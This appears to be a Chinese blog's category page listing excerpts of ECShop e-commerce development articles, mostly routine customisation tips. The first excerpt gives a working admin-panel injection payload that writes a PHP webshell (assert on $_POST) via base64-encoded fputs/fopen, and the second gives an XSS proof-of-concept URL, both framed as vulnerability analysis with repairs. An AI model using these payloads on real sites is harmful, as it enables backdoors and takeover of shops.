分类归档

网站开发

FWQ
网站开发
ECSHOP语言项库注入漏洞分析和修复
1.ECSHOP语言库注入漏洞利用 1) 登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2) 添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为: <?php assert( $_POST[x] ); ?> 3) 访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php 2.产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。   for ($i = 0; $i <…
2025-04-23 阅读全文 →
FWQ
网站开发
修复ecshop注入XSS三个漏洞方法
Ecshop pages.lbi.php Xss漏洞,search.php注入漏洞,Ecshop version XSS漏洞   1.Ecshop pages.lbi.php Xss漏洞 先来分析这个漏洞的原因: 直接访问temp/compiled/pages.lbi.php时,浏览源文件,会发现如下代码: <form action=”temp/compiled/pages.lbi.php” method=”get”> 显然这个form是不完全的。当构造这样的url访问时,会造成在客户端执行代码: temp/compiled/pages.lbi.php/”</form><sCripT>alert(/cfreer/)</scRipt> 很显然,这个漏洞的原理就是闭合了这个form再在客户端执行javascript. 然后分析出现不闭合form的原因,打开page.lbi.php文件,可以看到如下代码 <form action=”<?php echo $_SERVER[‘PHP_SELF’]; ?>” method=”get”> <?php if ($this->_var[‘pager’][‘styleid’] ==…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台添加一个完整的统计用户信息的功能
开发ecshop大概有半年多时间了,每次改的功能也没有做总结和记录,今天添加完一个功能,记录一下吧,省得以后忘记又要麻烦去查找。 需求:在后台菜单-报表统计-下面添加-用户情况-的功能,包括:每周新增注册用户,每周累积注册用户,活跃用户-周内至少登陆1次,每月访问量等等。 第一步:建立数据库的表   说明:个人本地数据库是:eshop,新建表名:ecs_user_situation。 第二步:建立存储过程 DELIMITER $$      DROP PROCEDURE IF EXISTS `eshop`.`pro_users`$$      CREATE DEFINER=`root`@`localhost` PROCEDURE `pro_users`()   BEGIN       DECLARE week_count INT;       DECLARE user_count INT;       DECLARE over_count INT;       DECLARE month_count INT;       — 每周注册用户       SELECT COUNT(*) INTO week_count FROM ecs_users WHERE reg_time>(UNIX_TIMESTAMP(NOW())-7*24*60*60);       — 总注册用户       SELECT COUNT(*) INTO user_count FROM ecs_users;       — 每周的活跃用户       SELECT COUNT(*) INTO over_count FROM ecs_users WHERE last_login>(UNIX_TIMESTAMP(NOW())-7*24*60*60);       — 每月的访问量       SELECT COUNT(*) INTO month_count FROM ecs_stats WHERE access_time>UNIX_TIMESTAMP(DATE_SUB(DATE_SUB(DATE_FORMAT(NOW(),‘%y-%m-%d 00:00:00’),INTERVAL EXTRACT(DAY FROM NOW())-1 DAY),INTERVAL 0 MONTH));              INSERT INTO ecs_user_situation(week_count,user_count,over_count,month_count,week_time) VALUES (week_count,user_count,over_count,month_count,NOW());       END$$  …
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台合并商品分类的教程
在Ecshop系统后台合并商品分类的方法。 合并商品分类完全可以通过后台操作来实现。 1、首先进入后台 》商品管理 》商品列表。 2、在搜索框里选择 类别A,点搜索,这时会列出类别A下的所有商品。 3、如果类别A下的商品数大于1页的话,可以修改一下  分页导航条的“每页”的显示数量,修改成一个足够大的数字,按回车,这样的话,A类下的所有商品就会在一页里显示完全。 4、点击编号前的选择框,将商品全部选中 5、点击左下角“请选择”下拉选择框,选中那个“转移到分类”,最后点“确定”即可。 具体步骤如下图: 以上ecshop后台合并商品分类的教程.
2025-04-23 阅读全文 →
FWQ
网站开发
让ecshop手机端虚拟商品自动发货分析
在ecshop官方模版手机端的虚拟商品购买后不能像pc端那般直接在付款后出现虚拟商品的卡号,密码,截止日期,好模板提供的解决方法如下: 首 先找到pc端的flow.php文件中的$_REQUEST[‘act’] = ‘done’  这里面是用来处理订单的最后一步,(具体怎么知道的可以看url后的参数列表),对应手机端处理订单的的文件为 mobile/order.php 文件,这里同样有一个$_REQUEST[‘act’] = ‘done’,对比里面的代码发现order.php相比flow.php 缺少了一段处理虚拟商品的代码找到ecshop官方的flow.php文件中大约1677行有一个注释 /*/* 如果使用库存,且下订单时减库存,则减少库存 */*/下面的if判断语句还是相同 这句话上面还有一段代码(如下),在手机端不存在,具体功能(追到函数里这段是说:设置红包已经使用,和我们现在需求的功能无关) if ($order['bonus_id'] > 0 && $temp_amout > 0) { use_bonus($order['bonus_id'], $new_order_id); } 下面还有两端代码是手机端没有的…
2025-04-23 阅读全文 →
FWQ
网站开发
ECSHOP如何只开启个别页面的URL重写(rewrite
最近看到有人在ECSHOP论坛发帖询问类似问题,觉得比较新颖,就写了下共享了出来。 问题: 如何只开启商品页面的rewite,也就是说只是将商品页链接形式修改为 goods-12.html 的形式,而类别页、品牌页还保持原来的动态形式,即还保持 /category.php?id=4   或者  /brand.php?id=1  的形式 修改方法: 注意: 此方法前提是你已经在后台开启了伪静态。 此方法的优点:修改起来很简单, 缺点:只是类别页面(列表)或品牌页面的链接形式不再是伪静态形式。并没有从根本上彻底的删除掉这些页面的URL重写规则。 打开 includes/lib_common.php   文件 找到 case ‘category’: 在它下面增加一行代码 $rewrite = NULL; 继续找到 case ‘brand’: 同样在它下面增加一行…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop修改注册、增加手机号码注册
1.去掉“用户名”注册 a.去掉提交 user_passport.dwt页面去掉 <input name=”username” type=”text” size=”30″ id=”username” onblur=”is_registered(this.value);” class=”input_login” />提交 b.去掉js表单验证,user.js 去掉,var username  = Utils.trim(frm.elements[‘username’].value);   第439行 去掉, if (username.length == 0) { msg += username_empty + '\n';…
2025-04-23 阅读全文 →
FWQ
网站开发
实现ecshop点击领取红包
实现ecshop点击领取红包思路: 1.领取红包:也就是传递一个红包ID,和user_id然后update更新过来 2.获取未领取过的红包列表:然后随机函数array_rand($arr,1),随机返回一个数组,从而获得红包列表的红包ID 以上两步基本满足,领取红包功能 3.判断该用户是否已经领取过红包   基本代码 html代码1:  <input type="button" value="领取红包" onClick="bouns(30)"> <script type="text/javascript" src="__PUBLIC__/js/jquery.min.js" ></script> <script> function bouns($type_id){ $.ajax({ url:"{:url('bonus/bonus_ajax')}"+"&type_id="+$type_id, success: function(html){ if(html == ‘ok’){ alert(‘成功领取红包’); }if(html…
2025-04-23 阅读全文 →
FWQ
网站开发
将ECSHOP整站的“0元”都显示为“价格面议”
需要修改的文件:includes/lib_common.php 本次修改的目的:【将全站所有“0元”商品都显示为“价格面议”】 修改教程如下: 打开 includes/lib_common.php 将   return sprintf($GLOBALS[‘_CFG’][‘currency_format’], $price); 替换为 if (intval($price) == 0) {  return “价格面议”;} else {  return sprintf($GLOBALS[‘_CFG’][‘currency_format’], $price); }    
2025-04-23 阅读全文 →